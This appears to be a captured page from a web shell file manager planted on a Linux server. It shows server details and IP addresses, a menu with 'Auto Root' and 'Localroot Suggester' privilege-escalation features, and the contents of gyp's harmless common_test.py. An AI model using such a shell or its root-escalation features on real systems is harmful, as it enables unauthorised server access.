Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
gyp /
Delete
Unzip
Name
Size
Permission
Date
Action
generator
[ DIR ]
drwxr-xr-x
2024-07-10 10:59
MSVSNew.py
12.11
KB
-rw-r--r--
2022-04-04 16:54
MSVSProject.py
6.24
KB
-rw-r--r--
2022-04-04 16:54
MSVSSettings.py
44.2
KB
-rw-r--r--
2022-07-16 12:04
MSVSSettings_test.py
64.45
KB
-rw-r--r--
2022-04-04 16:54
MSVSToolFile.py
1.76
KB
-rw-r--r--
2022-04-04 16:54
MSVSUserFile.py
4.97
KB
-rw-r--r--
2022-04-04 16:54
MSVSUtil.py
9.34
KB
-rw-r--r--
2022-04-04 16:54
MSVSVersion.py
20.62
KB
-rw-r--r--
2022-04-04 16:54
__init__.py
21.77
KB
-rw-r--r--
2022-04-04 16:54
common.py
20
KB
-rw-r--r--
2022-04-04 16:54
common_test.py
1.97
KB
-rw-r--r--
2022-04-04 16:54
easy_xml.py
5.06
KB
-rw-r--r--
2022-04-04 16:54
easy_xml_test.py
3.25
KB
-rw-r--r--
2022-04-04 16:54
flock_tool.py
1.71
KB
-rw-r--r--
2022-04-04 16:54
input.py
113.66
KB
-rw-r--r--
2022-07-16 12:04
input_test.py
3.12
KB
-rw-r--r--
2022-04-04 16:54
mac_tool.py
26.55
KB
-rw-r--r--
2022-04-04 16:54
msvs_emulation.py
47.74
KB
-rw-r--r--
2022-07-16 12:04
ninja_syntax.py
5.58
KB
-rw-r--r--
2022-04-04 16:54
simple_copy.py
1.43
KB
-rw-r--r--
2022-04-04 16:54
win_tool.py
13.31
KB
-rw-r--r--
2022-04-04 16:54
xcode_emulation.py
71.85
KB
-rw-r--r--
2022-07-16 12:04
xcode_ninja.py
11.04
KB
-rw-r--r--
2022-04-04 16:54
xcodeproj_file.py
121.78
KB
-rw-r--r--
2022-04-04 16:54
xml_fix.py
2.11
KB
-rw-r--r--
2022-04-04 16:54
Save
Rename
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Unit tests for the common.py file.""" import gyp.common import unittest import sys class TestTopologicallySorted(unittest.TestCase): def test_Valid(self): """Test that sorting works on a valid graph with one possible order.""" graph = { 'a': ['b', 'c'], 'b': [], 'c': ['d'], 'd': ['b'], } def GetEdge(node): return tuple(graph[node]) self.assertEqual( gyp.common.TopologicallySorted(graph.keys(), GetEdge), ['a', 'c', 'd', 'b']) def test_Cycle(self): """Test that an exception is thrown on a cyclic graph.""" graph = { 'a': ['b'], 'b': ['c'], 'c': ['d'], 'd': ['a'], } def GetEdge(node): return tuple(graph[node]) self.assertRaises( gyp.common.CycleError, gyp.common.TopologicallySorted, graph.keys(), GetEdge) class TestGetFlavor(unittest.TestCase): """Test that gyp.common.GetFlavor works as intended""" original_platform = '' def setUp(self): self.original_platform = sys.platform def tearDown(self): sys.platform = self.original_platform def assertFlavor(self, expected, argument, param): sys.platform = argument self.assertEqual(expected, gyp.common.GetFlavor(param)) def test_platform_default(self): self.assertFlavor('freebsd', 'freebsd9' , {}) self.assertFlavor('freebsd', 'freebsd10', {}) self.assertFlavor('openbsd', 'openbsd5' , {}) self.assertFlavor('solaris', 'sunos5' , {}); self.assertFlavor('solaris', 'sunos' , {}); self.assertFlavor('linux' , 'linux2' , {}); self.assertFlavor('linux' , 'linux3' , {}); self.assertFlavor('linux' , 'linux' , {}); def test_param(self): self.assertFlavor('foobar', 'linux2' , {'flavor': 'foobar'}) if __name__ == '__main__': unittest.main()